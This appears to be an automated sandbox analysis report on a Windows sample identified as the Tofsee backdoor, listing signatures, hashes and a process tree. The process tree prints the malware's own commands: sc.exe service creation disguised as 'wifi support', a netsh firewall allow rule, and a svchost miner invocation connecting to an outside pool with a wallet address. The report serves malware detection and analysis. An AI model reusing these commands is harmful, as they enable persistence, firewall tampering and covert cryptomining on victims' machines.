Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    13/11/2020, 15:59

General

  • Target
    533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24.exe
  • Size 211KB
  • Sample201113-ec3mfmgapx
  • SHA256 533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 18 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24.exe
    "C:\Users\Admin\AppData\Local\Temp\533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3160
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 552
      2⤵
      • Program crash
      PID:2340
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 672
      2⤵
      • Program crash
      PID:2868
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 704
      2⤵
      • Program crash
      PID:3564
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 724
      2⤵
      • Program crash
      PID:4000
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 800
      2⤵
      • Program crash
      PID:2688
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 804
      2⤵
      • Program crash
      PID:196
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 952
      2⤵
      • Program crash
      PID:3192
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\odlolgdg\
      2⤵
        PID:2004
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 840
        2⤵
        • Program crash
        PID:3856
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 812
        2⤵
        • Program crash
        PID:3164
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hkqkzkvb.exe" C:\Windows\SysWOW64\odlolgdg\
        2⤵
          PID:1364
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 740
          2⤵
          • Program crash
          PID:3452
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 708
          2⤵
          • Program crash
          PID:848
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create odlolgdg binPath= "C:\Windows\SysWOW64\odlolgdg\hkqkzkvb.exe /d\"C:\Users\Admin\AppData\Local\Temp\533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3988
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 748
            2⤵
            • Program crash
            PID:1860
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 708
            2⤵
            • Program crash
            PID:2804
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description odlolgdg "wifi internet conection"
            2⤵
              PID:3548
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 740
              2⤵
              • Program crash
              PID:3376
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 584
              2⤵
              • Program crash
              PID:932
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start odlolgdg
              2⤵
                PID:1512
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 736
                2⤵
                • Program crash
                PID:4012
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 588
                2⤵
                • Program crash
                PID:3620
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1040
              • C:\Windows\SysWOW64\odlolgdg\hkqkzkvb.exe
                C:\Windows\SysWOW64\odlolgdg\hkqkzkvb.exe /d"C:\Users\Admin\AppData\Local\Temp\533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2316
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2316 -s 576
                  2⤵
                  • Program crash
                  PID:2136
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2124
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2380

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/2124-18-0x0000000002DF0000-0x0000000002DF5000-memory.dmp

                    memory/2124-15-0x0000000004990000-0x0000000004B9F000-memory.dmp

                    memory/2124-19-0x0000000009510000-0x000000000991B000-memory.dmp

                    memory/2124-17-0x0000000002DB0000-0x0000000002DC0000-memory.dmp

                    memory/2124-16-0x0000000002D50000-0x0000000002D56000-memory.dmp

                    memory/2124-11-0x0000000002C00000-0x0000000002C15000-memory.dmp

                    memory/2124-20-0x00000000030C0000-0x00000000030C7000-memory.dmp

                    memory/2316-10-0x00000000011B0000-0x00000000011B1000-memory.dmp

                    memory/2316-9-0x0000000000CDC000-0x0000000000CDD000-memory.dmp

                    memory/2380-21-0x0000000002E00000-0x0000000002EF1000-memory.dmp

                    memory/3160-0-0x0000000000E01000-0x0000000000E02000-memory.dmp

                    memory/3160-1-0x0000000001300000-0x0000000001301000-memory.dmp